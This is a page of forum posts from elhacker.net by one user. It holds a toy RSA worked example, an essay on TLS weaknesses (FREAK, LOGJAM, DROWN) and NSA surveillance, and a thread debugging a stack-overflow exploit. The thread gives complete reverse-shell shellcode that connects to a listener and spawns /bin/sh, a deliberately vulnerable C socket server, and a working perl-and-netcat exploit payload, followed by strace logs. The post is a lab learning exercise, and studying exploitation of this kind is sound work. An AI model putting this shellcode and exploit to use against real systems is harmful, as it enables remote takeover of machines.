elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Recopilación Tutoriales y Manuales Hacking, Seguridad, Privacidad, Hardware, etc


  Mostrar Temas
Páginas: [1]
1  Seguridad Informática / Criptografía / Funcionamiento a alto nivel de RSA en: 2 Abril 2016, 20:56 pm
Huolas criptógrafos. Tengo una duda bastante baladí sobre el RSA, pero no logro imaginarme cómo lo solucionan. Esto también puede servir a quién no logre entender el RSA, pues pondré un ejemplo sencillito para mostrar mi dudita.
El RSA en realidad solo define 3 algoritmos, el de generación de claves, de cifrado y de descifrado (estos dos últimos sirven para comprobación de firma y de firma respectivamente, ya lo veremos).
El primero consiste en:
1. Elegir primos p y q. Yo elijo p = 13 y q = 97
2. Calcular n = p * q = 13 * 97 = 1261
3. Calcular φ(n) [se lee "fi de n", donde φ es la función de Euler] = (p - 1) * (q - 1) = 12 * 96 = 1152
4. Elegir e tal que gcd(φ(n), e) = 1; e < φ(n). Esto es que el mcd de e y φ(n) sea 1 (en otras palabras que sean coprimos o primos relativos entre sí) y que e sea menor que φ(n). En este caso elijo e = 23 [no olvidemos que un primo es comprimo con todos los números].
5. Elegir d tal que haga verdadera la siguiente expresión: d * e mod φ(n) = 1 y d < φ(n). En este caso
d * 23 mod 1152 = 1; solo hay una opción que yo he obtenido mediante un pequeño programa que dejo al final, solo hay una opción: 551.

La clave pública es: KU = {e, n} = {23, 1261}
La clave privada es: KR = {d, n} = {551, 1261}

Ya tenemos nuestras claves. Ahora vamos al algoritmo de cifrado:
C = M^e mod n
Esto es que para cifrar hay que elevar el mensaje M a e y calcular el resto de su división entre n.
Defino una tupla M.
M = {'H', 'O', 'L', 'A'}
Según el ASCII tenemos M = {72, 79, 76, 65}
Siguiendo que M_0 = 72 y M_1 = 79 entenderéis esto:
C_0   = M_0^e mod n = 72^23 mod 1261 = 5,231755239×10^42 mod 1261 = 1133
C_1   = M_1^e mod n = 79^23 mod 1261 = 4,420008451×10^43 mod 1261 = 27
C_2   = M_2^e mod n = 76^23 mod 1261 = 1,814314713×10^43 mod 1261 = 253
C_3   = M_3^e mod n = 65^23 mod 1261 = 4,9774534×10^41   mod 1261 = 676
C     = {1133, 27, 253, 676}

Para descifrar es:
M' = C^d mod n
Si habéis entendido hasta aquí, esto también. Y lo siguiente igual:
M_0'  = C_0^d mod n = 1133^551 mod 1261 = 72
M_1'  = C_1^d mod n = 27^551   mod 1261 = 79
M_2'  = C_2^d mod n = 253^551  mod 1261 = 76
M_3'  = C_3^d mod n = 676^551  mod 1261 = 65
M'    = {72, 79, 76, 65} = {'H', 'O', 'L', 'A'}

Para firmar lo que se debe hacer es "cifrar" pero con tu clave privada, el receptor para comprobar que el mensaje ha sido cifrado por ti necesita "descifrar con tu clave pública".
PGP/GPG implementa cifrar y firmar a la vez, para esto primero calcula el hash del mensaje, lo firma (con la clave privada del emisor), lo añade al principio del mensaje (aquí suele comprimir mediante ZIP), despues cifra simétricamente tanto el hash como el mensaje mediante una clave de sesión aleatoria, cifra dicha clave mediante RSA con la clave pública del receptor, añade la clave cifrada al principio del mensaje y envía el paquete. El receptor recibe el paquete, descifra usando su clave privada la clave de sesión simétrica cifrada que se encuentra al inicio del paquete, con esta descifra el resto del paquete, descomprime extrae el hash firmado, comprueba que sea del emisor legítimo, calcula el hash del mensaje y compara el que acaba de calcular con el firmado. Punto. Simple, ¿eh?
Ni que decir tiene que no siempre se firma o se cifra, puede solo cifrarse o solo firmarse. Pero ni lo uno ni lo otro tienen que ver ahora con esto. Me he ido por las ramas.

De acuerdo, ahora viene mi pregunta.
El texto cifrado {1133, 27, 253, 676} se tiene que enviar como bits [gracias, Sara].
Bien, esto se representa en hexadecimal del siguiente modo {0x046D, 0x1B, 0xFD, 0x02A4}
Así que tenemos cuatro bytes: 04 6D 1B FD 02 A4, sin embargo, si yo envío esto, ¿cómo sabe el receptor qué bytes corresponden a un único byte? Porque está claro que la letra 72 que ocupa solo un byte, al cifrarse ocupa dos bytes, y para desifrarse habrá que tratarlo así.
Sé que esto no lo define el RSA, que este solo define esos tres (o cinco) algoritmos, por eso en realidad la pregunta es: ¿cómo lo implementa PGP/GPG?
Me puedo imaginar que separa los caracteres cifrados mediante bytes nulos, o, ahora que lo pienso, lo mismo no cifra carácter a carácter. Bueno, no sé, tengo la curiosidad, si alguien sabe decírmelo...
Gracias de antebrazo.
2  Seguridad Informática / Criptografía / Duda sobre el progreso en la seguridad de las comunicaciones en: 22 Marzo 2016, 22:38 pm
# By Arget, en Madriz, España ~ 22-03-2016 #

[ INTRODUCCIÓN ]
A raíz de las revelaciones de Snowden (temed pronunciar el nombre del innombrable, acabaré en un manicomio gritando "no estoy loco").

[Sí, esto era la introducción, suelo ser más bien escueto.]

[ PRÓLOGO ]
Es posible que las referencias te interesen más que yo, están al final ;)
Si te intereso pero no todo lo que tengo que decir léete la conclusión del final
Gran prólogo mejor persona.

Desde que empezó la criptografía fuerte abierta al público (dejando de lado el lenguaje de manos que se inventaron mis compañeras de colegio y que no era lenguaje de sordos), durante esta década casi y media hemos ido viendo la aparición de errores en nuestras vidas, y no me refiero a la marcha atrás o al alcohol, hablo de errores tales como FREAK, CRIME, LOGJAM, POODLE, y ahora DROWN (HeartBleed te lo añadimos al carrito por tan solo un euro más), fijaos, ya no solo les asignamos un número de CVE, sino que les ponemos nombre e incluso hasta logo, cosas del cariño que no se pueden evitar :')
Yo personalmente después de HeartBleed no me esperaba más vulnerabilidades, sin embargo ahí tenemos DROWN sonriente como el puto niño que sonríe ante sus desgraciados padres mientras señala con un dedo marrón la pared llena de manchas de chocolate (debo aclarar que DROWN es el puto niño, los padres nosotros, y la NSA algo indefinido, como el chocolate o la pared, estilo Slenderman: está pero no está). Y aquí tengo que pausar la peli para hacer una reflexión, nosotros estamos empezando a perfeccionar nuestro propio sistema mientras que los de ahí arriba lo acabaron y perfeccionaron hace tiempo dejándonos encerrados dentro de dicho puto sistema. Es como el Matrix, nos rodea, lo ves en todo momento, está en el aire que respiras, está ahí cuando bajas la basura, cuando pagas tus impuestos, lo ves al bajar a la calle, no puedes escapar de él, solo a él - Es una definición similar a la de Morfeo.
Pero no vengo a hablar aquí de mis filias, más bien de mis fobias.
No nos olvidemos de quien es el mayor contratante de matemáticos del mundo, no soy yo precisamente, tampoco mi empresa (inexistente) ni a la que voy todas las mañanas, ni siquiera se encuentra en mi país (España), ni en el país de al lado (¿Suecia?). Creo que ya sabemos a quién nos referimos, y no solo al país, sino a qué agencia. En un principio la NSA era capaz de salir a decir que no existía, cosa carente de sentido ya que si no existes tampoco existes para decir que no existes, no hace falta ser un filósofo existencialista (¿pillas el chiste? XD) para darse cuenta del insulto, ahora sin embargo son capaces de ir y en tus narices meter la mano en el sobre que acabas de meter al buzón. Solo tengo una palabra que decir, señoría: descaro.
Veamos el panorama un poco más completo, no es necesario coger el helicóptero, basta buscarse una silla. Antiguamente se entraba por ejemplo a Google, uno iba muy contento sin poner en duda la seguridad de SSL. Ahora te enteras de que no necesitaban siquiera descifrarlo -que podrían-, les basta con pedirlo a Google y otros tantos servicios (Saludad Mark!, Billy!), incluso ya les supone suficiente conseguir los metadatos ("muchos datos y muy datos", gracias, Rajoy, por tu legado a la literatura española), que pueden obtener fácilmente porque los cables de casi toda Internet hacen parada en USA, los caminos ya no conducen a Roma: todos los cables conducen a Guantánamo, supongo. Igualmente, mediante GoogleAds (que están everyweaaar) Google sabe las páginas que visitas, no es necesario que les des la información ni que vengan ellos a cogerla a tu casa, basta con que la tires por la calle. Y existen mil métodos más, que si las cámaras, que si las cuentas bancarias, que si etc... y no tan evidentes: los routers WiFi de las tiendas de la calle pueden registrar las MACs de los móviles que pasan por delante, localizándote finalmente, como ves, esos matemáticos contrataditos se han puesto las botas, al fin y al cabo "Pitágoras no sería un genio sin catetos" (HardGZ). Resulta que al final, todos tus datos, por mucho que los hayas protegido, han acabado en su base de datos en Putah... digo Utah (el corrector... ya sabes), EEUU. Pero obviémoslo. Podemos abrir un debate sobre si usar Google o la oposición libre (of course not Bing!), e incluso dentro de la oposición tendríamos peleas, que si DuckDuckGo, que si Disconnect.me, que si StartPage... Pero como digo, por un momento, metámosnos en la piscina, hundámosnos al fondo, donde todos los sonidos dejan de existir, para fijarnos solo en la criptografía. Finjamos que no pueden obtener los datos ni los metadatos de otra forma que no sea descifrando.
¿Qué tenemos aquí? Hablemos sobre los cifrados que aparecen en nuestra vida a diario: normalmente RSA y Diffie-Hellman.
En este momento aparece uno de los peores niños malos de la familia, FREAK. FREAK permite que una conexión RSA segura de 1024 bits o mayor se rebaje a una de 512 bits. Está comprobado que es posible atacar claves de hasta 768 bits, por tanto esto resulta insuficiente. Este error ya no es solo praxis, también se contempla desde la teoría. Y aún así cabe pensar que si siguiéramos el manual de instrucciones se lo pondríamos más difícil, si algo nos han dado los suecos del maldito IKEA es aprender a seguir las instrucciones. ¿Qué sugiere el manual de instrucciones? Emplear una clave RSA diferente para cada conexión, con esto, para cada conexión esos cabrones tendrían que factorizar la clave restándoles tiempo. Sin embargo, para el servidor esto resulta pesado, generar una clave de un tamaño seguro para cada conexión exige mucho rendimiento y sobre todo tiempo. Por esto emplean una clave para todas sus conexiones, de esta manera, esos cabrones de ahí arriba solo tienen que atacar una clave por servidor para espiar a todos los clientes del mismo. Gracioso, ¿verdad? Yo me estoy partiendo el culo.
Muy cierto, es fácil criticiar, hay que aportar soluciones. Yo no me considero un experto en rendimiento de ordenadores, pero supongo que en los momentos en los que un servidor tiene menos carga de servidores (los servidores de España a las 3 a.m. -hora de España, naturalmente- no deben de tener demasiada carga) puede generar el número de claves que considere necesaria para aguantar durante la jornada, todo en función del número de peticiones que recibe normalmente, no sé, se me ocurre a mí ahora así en frío.
FREAK tiene su hermano mellizo, LOGJAM, que ha salido a su hermano. Hace con Diffie-Hellman lo que FREAK hacía con RSA. Lo expongo:
Diffie-Hellman necesita un número primo de considerable longitud y con ciertas características no debilitantes. Actualmente se suelen emplear primos de minimísimo 1024 bits, pero del mismo modo que en FREAK se puede hacer que se rebaje la seguridad a 512 bits (toda esta ***** por compatibilidad con sistemas de los 90's).
Bien, el ataque consta de dos fases, la primera consiste simplemente en precalcular ciertas operaciones (con un primo de 512 bits en una universidad se tardó dos semanas, con lo de "simplemente" hablo relativamente) con el primo p usado. La segunda fase corresponde con el número aleatorio usado para cada conexión, el proceso es este, una vez tienes toda la primera fase completá', te dedicas a interceptar, una vez interceptas unos cuantos miles de millones de conexiones (ná' eh) coges lápiz y papel y en un minuto, o al menos un minuto es lo que tarda un computador. El caso reside en que existen pocos primos de un tamaño específico (que además estos hinfosmáticos siempre piden que sea una potencia de 2, incomprensible, ¿te lo puedes creer?) y que encima cumplan dichas características "no debilitantes" (estos criptógrafos tan tiquismiquis, ya solo porque un número acaba en 6 no es primo, impresionante, y ahora dirán que 2+2 no da decimales y 3/2 sí), por tanto y como la especificación en el RFC del algoritmo DH no dice nada en contra, se utilizan y reutilizan los mismos pocos primos. Como dice Arturo (en las referencias de abajo) el 80% de los servidores que implementan DH son Apache, todos los Apache emplean el mismo, pero no juzgueis, esta vez no es negligencia, no como en RSA, simplemente que según el estándar no es necesario (ni posible) conseguir un primo distinto de determinada medida para cada conexión. De modo que normalmente se emplean primos del RFC 3526.
Yo ahora quisiera entrar en las paranoias más profundas pero con fundamento. Diffie-Hellman se basa en la conjeturada imposibilidad de resolver el problema de los logaritmos discretos. Como digo es conjeturada, no se ha demostrado que sea realmente imposible, en realidad es igual que factorizar números, _que sepamos_ solo se ha llegado a factorizar un número de 768 bits, no sabemos ni de qué tamaño son los folios de la NSA, y menos aún la potencia de sus ordenadores, como dice alguien de las referencias de abajo (no recuerdo quién) "recordemos que no miden sus ordenadores en FLOPS, sino en hectáreas". Del mismo modo, no sabemos si la NSA es capaz de resolver el problema del logaritmo discreto, aún así, admito que tardarían bastante tiempo y no les sería rentable, pero oye, pongamos TODO sobre la mesa.
Por cierto, de parte del banco acaba de llegar otro regalo junto a las sartenes... no, no, no es otra hipoteca... no, no, no es una carta de deshaucio... ¡que no!, tampoco te piden un riñón ni un ojo, ya te los quitaron sin que te dieras cuenta. Los investigadores ya han expresado su preocupación de que sea posible realizar la fase de precomputación (la primera fase se llama así) para primos de 1024 bits.

No hay que olvidar nunca que los gobiernos trabajan para las multinacionales y para sí mismos. En este momento a ambos les interesa mantenernos vigilados y espiados. Llegarán muy lejos para preservar sus intereses.
Ya que hablamos de hasta dónde llegarían las empresas y de números primos, miraos un segundo esta noticia, como diría Iker: "inquietante".
http://unaaldia.hispasec.com/2001/10/un-numero-puede-ser-ilegal.html
Sí, es del 2001, no es una noticia fresca, pero sí realmente graciosa.

[ CONCLUSIÓN ]
No pretendo dar una imagen apocalíptica de la inutilidad de la criptografía. La criptografía está ahí, funciona y sirve, el problema es que debemos aplicarla de manera segura. Además, para comunicaciones entre dos partes no públicas (i. e. no un servidor), siempre nos quedará la esteganografía.
Mi duda es, ¿realmente hemos logrado avanzar algo en estos años? Hemos reparado brechas como FREAK, pero nadie nos dice que no puedan con las de 1024, ¿hemos fijado el mínimo en 2048 al menos? Para mí el mínimo debería ser 3072, mejor que mejor 4096. ¿Hemos realizado una limpieza de implementaciones de SSL y demás? "Sí, LibreSSL está >libre< [jajá] de DROWN", ya, pero no hablo de eso, LibreSSL tampoco ha sido creada "from scratch". Necesitamos un OpenSSL/LibreSSL estilo qmail o djbdns [ http://unaaldia.hispasec.com/2009/03/existen-programas-sin-fallos-de.html ].

He dicho.

Arget
El anonimato es el mayor de los paraísos. Yo me llamo Ralph! :P

[ REFERENCIAS ]

http://www.securityartwork.es/2016/03/21/la-historia-del-ermitano/
https://freakattack.com/
https://weakdh.org/
http://naukas.com/2015/10/21/la-nsa-consiguio-desactivar-la-criptografia-internet-primera-parte/
http://naukas.com/2015/10/23/la-nsa-consiguio-desactivar-la-criptografia-internet-segunda-parte/
http://unaaldia.hispasec.com/2015/05/logjam-el-hacedor-de-llaves-en-el-reino.html
http://unaaldia.hispasec.com/2015/03/freak-un-nuevo-ataque-ssltls.html
http://www.set-ezine.org/ezines/set/38/0x06.txt     # Anonimato: Fantasmas en la red  ~ Blackngel
http://www.set-ezine.org/ezines/set/36/0x02.txt     # TOR - Una verdad a medias       ~ Blackngel
http://www.set-ezine.org/ezines/set/36/0x04.txt     # HTTP Fingerprinting             ~ gcode
http://www.set-ezine.org/ezines/set/31/0x0F.txt     # Fingerprinting pasivo           ~ ca0s
http://www.set-ezine.org/ezines/set/13/0x05.txt     # Si alguien llama a tu puerta... ~ Paseante
http://www.set-ezine.org/ezines/set/26/0x0A.txt     # Esteganografía, el poder oculto ~ GRRL
https://www.youtube.com/watch?v=fDPpzG6u-as         # Nothing to hide?                ~ Cryptoparty
3  Seguridad Informática / Hacking / [SOLUCIONADO] Este shellcode... en: 19 Febrero 2016, 18:46 pm
Buenas, amigos. Llevo ya un tiempo sin lograr entender qué ocurre con este shellcode. Este es el código en ensamblador:

Código
  1. section .text
  2. global _start
  3. _start:
  4. xor    eax, eax
  5. xor    ebx, ebx
  6. xor    ecx, ecx
  7. xor    edx, edx
  8. mov    al, 102  ; __NR_socketcall
  9. inc    bl       ; socket
  10. push   ecx
  11. push   0x6      ; IPPROTO_TCP
  12. push   0x1      ; SOCK_STREAM
  13. push   0x2      ; AF_INET
  14. mov    ecx, esp
  15. int    0x80     ; socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
  16. mov    esi, eax ; esi = descriptor de socket
  17.  
  18. mov    al, 0x66 ; __NR_socketcall
  19. mov    bl, 0x2
  20. push   0x1201a8c0 ; addr = 192.168.1.18
  21. push word   0x697a     ; port = 31337
  22. push   bx         ; AF_INET
  23. inc    bl
  24. mov    ecx, esp
  25. push   0x10
  26. push   ecx
  27.  
  28. push   esi
  29. mov    ecx, esp
  30. int    0x80
  31.  
  32. xor    ecx, ecx
  33. mov    cl,  3
  34. bucle:
  35. dec    cl
  36. mov    al, 0x3f
  37. int    0x80    ; dup2
  38. jne    bucle
  39.  
  40. xor    eax, eax
  41. push   edx
  42. push   0x68732f6e
  43. push   0x69622f2f
  44. mov    ebx, esp
  45. push   edx
  46. push   ebx
  47. mov    ecx, esp
  48. push   edx
  49. mov    edx, esp
  50. mov    al, 0xb
  51. int    0x80
  52.  

Funciona a la perfección tras compilarlo con un "nasm sc.asm", extraer los opcodes con xxd y probarlo mediante este programa en c, compilado con el flag "-z execstack":

Código:
#include <stdio.h>

char shellcode[] = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66 \
                    \xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89 \
                    \xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68 \
                    \xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53 \
                    \xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1 \
                    \xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f \
                    \xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f \
                    \x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52 \
                    \x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80";

void main()
{
    void (*fp)();
    fp = (void*) &shellcode;
    fp();
}

Este es el resultado. Pantalla 1:

Código:
arget@kali:~/exploiting/remote$ ./prueba      #tras esto se quedó suspendido hasta que cerré la conexión desde el otro
arget@kali:~/exploiting/remote$

Pantalla 2:

Código:
arget@kali:~/exploiting/remote$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50026
whoami
arget
exit
 sent 12, rcvd 6
arget@kali:~/exploiting/remote$

Sin embargo, en este código la cosa cambia:

Código:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int vuln(char* arg, int newsockfd)
{
    int n;
    char vul[128];
    strcpy(vul, arg);
    n = write(newsockfd, vul, strlen(vul));
    return n;
}

void shell()
{
    __asm__("jmp *%ecx");
}

void error(const char *msg)
{
    perror(msg);
    exit(1);
}

int main(int argc, char **argv)
{
    int sockfd, newsockfd, portno;
    socklen_t clilen;
    char buffer[256];
    struct sockaddr_in serv_addr, cli_addr;
    int n;
    if(argc < 2)
    {
        fprintf(stderr, "ERROR, no se ha indicado puerto\n");
        exit(1);
    }
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if(sockfd < 0)
        error("ERROR al abrir el socket");
    bzero((char*) &serv_addr, sizeof(serv_addr));
    portno = atoi(argv[1]);
    serv_addr.sin_family = AF_INET;
    serv_addr.sin_addr.s_addr = INADDR_ANY;
    serv_addr.sin_port = htons(portno);
    if(bind(sockfd, (struct sockaddr*) &serv_addr, sizeof(serv_addr)) < 0)
        error("ERROR en bind()");
    listen(sockfd, 5);
    clilen = sizeof(cli_addr);
    newsockfd = accept(sockfd, (struct sockaddr*) &cli_addr, &clilen);
    if(newsockfd < 0)
        error("ERROR en accept");
    bzero(buffer, 256);
    n = read(newsockfd, buffer, 255);
    if(n < 0)
        error("ERROR leyendo del socket");
    printf("%s", buffer);
    n = vuln(buffer, newsockfd);
    if(n < 0)
        error("ERROR escribiendo en el socket");
    close(newsockfd);
    close(sockfd);
    return 0;
}

Al analizarlo con gdb una vez ya compilado (con el flag -z execstack) se observa que en vuln() se reservan 140 bytes antes de ebp, por tanto 144 antes que eip, también que en el momento de ejecutar el "ret" de vuln(), ecx apunta al comienzo del buffer.
Mediante objdump se obtiene que el "jmp *%ecx" se encuentra en 0x0804875c, esta dirección no va a variar ni aún teniendo ASLR activado como es el caso.
Perfecto. Pongo en una ventana un "nc -lvvp31337" a escuchar. En otra ventana ejecuto "./v 1337" (pongo el programa vulnerable a escuchar en 1337), y desde la terminal que simularía ser la terminal atacante ejecuto:

Código:
perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337

Lo primero de todo, decir que en la primera prueba no salió como esperaba, analizando la memoria del proceso observé que había un punto en el que el shellcode se sobreescribía a sí mismo impidiendo el último "int 0x80", de modo que antes del último "xor eax, eax" añadí un "add esp, 0x8" y se solucionó (habría valido con 0x4, pero al añadir esa línea el código crecía 3 bytes, de manera que tuve que dejar más espacio, y para mantener la paridad, en lugar de usar 0x7 usé 0x8), aparte, creo que no tiene nada que ver con el problema de ahora.

En la primera pantalla ("nc -lvvp31337"), aparece esto:

Código:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50030
 sent 0, rcvd 0
arget@kali:~$

Ambas conexiones se cierran, pero está claro que el programa vulnerable ha ejecutado una conexión hacia el puerto 31337, aparte que no informa de errores de segmentación, incluso termina con valor de retorno 0. Ahora explico por qué mientras lanzo mi duda.
Si "v" lo ejecuto mediante "strace ./v 1337" me muestra las llamadas al sistema que realiza:

Código:
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3,

Y aquí se queda suspendido, ahora yo en la otra ventana ejecuto mi perl:

Código:
arget@kali:~/exploiting/remote$ perl -e 'print "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xfe\xc3\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x68\xc0\xa8\x01\x12\x66\x68\x7a\x69\x66\x53\xfe\xc3\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x83\xc4\x08\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80" . "A"x51 . "\x5c\x87\x04\x08"' | nc 127.0.0.1 1337
1�1�1�1Ұf��Qjjj��̀�ưf�h��fhzifS�É�jQV��̀1ɱ�ɰ?̀u��1�Rhn/shh//bi��RS��R���
                                                                             AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\�arget@kali:~/exploiting/remote$


Todos esos caracteres son normales ("v" lo que hace es un eco de lo que le mandas, si yo le mando caracteres no imprimibles como los del shellcode, devuelve eso), pero no es normal que se cierre la conexión. Vamos a la pantalla del "nc -lvvp31337" y nos sorprende un:

Código:
arget@kali:~$ nc -lvvp31337
listening on [any] 31337 ...
connect to [192.168.1.18] from kali [192.168.1.18] 50032
 sent 0, rcvd 0
arget@kali:~$

Aunque supongo que ya nos lo esperábamos todos... Vayamos al strace, este ha continuado y muestra datos muy interesantes:

Código:
arget@kali:~/exploiting/remote$ strace ./v 1337
execve("./v", ["./v", "1337"], [/* 42 vars */]) = 0
brk(NULL)                               = 0x8a07000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7798000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7778000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb75ce000
mmap2(0xb7772000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) = 0xb7772000
mmap2(0xb7775000, 10876, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7775000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb75cd000
set_thread_area({entry_number:-1, base_addr:0xb75cd940, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0 (entry_number:6)
mprotect(0xb7772000, 8192, PROT_READ)   = 0
mprotect(0xb77bc000, 4096, PROT_READ)   = 0
munmap(0xb7778000, 127778)              = 0
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
bind(3, {sa_family=AF_INET, sin_port=htons(1337), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 5)                            = 0
accept(3, {sa_family=AF_INET, sin_port=htons(60865), sin_addr=inet_addr("127.0.0.1")}, [16]) = 4
read(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 255) = 148
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 3), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7797000
write(4, "1\3001\3331\3111\322\260f\376\303Qj\6j\1j\2\211\341\315\200\211\306\260f\263\2h\300\250"..., 148) = 148
socket(PF_INET, SOCK_STREAM, IPPROTO_TCP) = 5
connect(5, {sa_family=AF_INET, sin_port=htons(31337), sin_addr=inet_addr("192.168.1.18")}, 16) = 0
dup2(3, 2)                              = 2
dup2(3, 1)                              = 1
dup2(3, 0)                              = 0
execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
brk(NULL)                               = 0xb88bf000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7768000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 6
fstat64(6, {st_mode=S_IFREG|0644, st_size=127778, ...}) = 0
mmap2(NULL, 127778, PROT_READ, MAP_PRIVATE, 6, 0) = 0xb7748000
close(6)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 6
read(6, "\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\233\1\0004\0\0\0"..., 512) = 512
fstat64(6, {st_mode=S_IFREG|0755, st_size=1738492, ...}) = 0
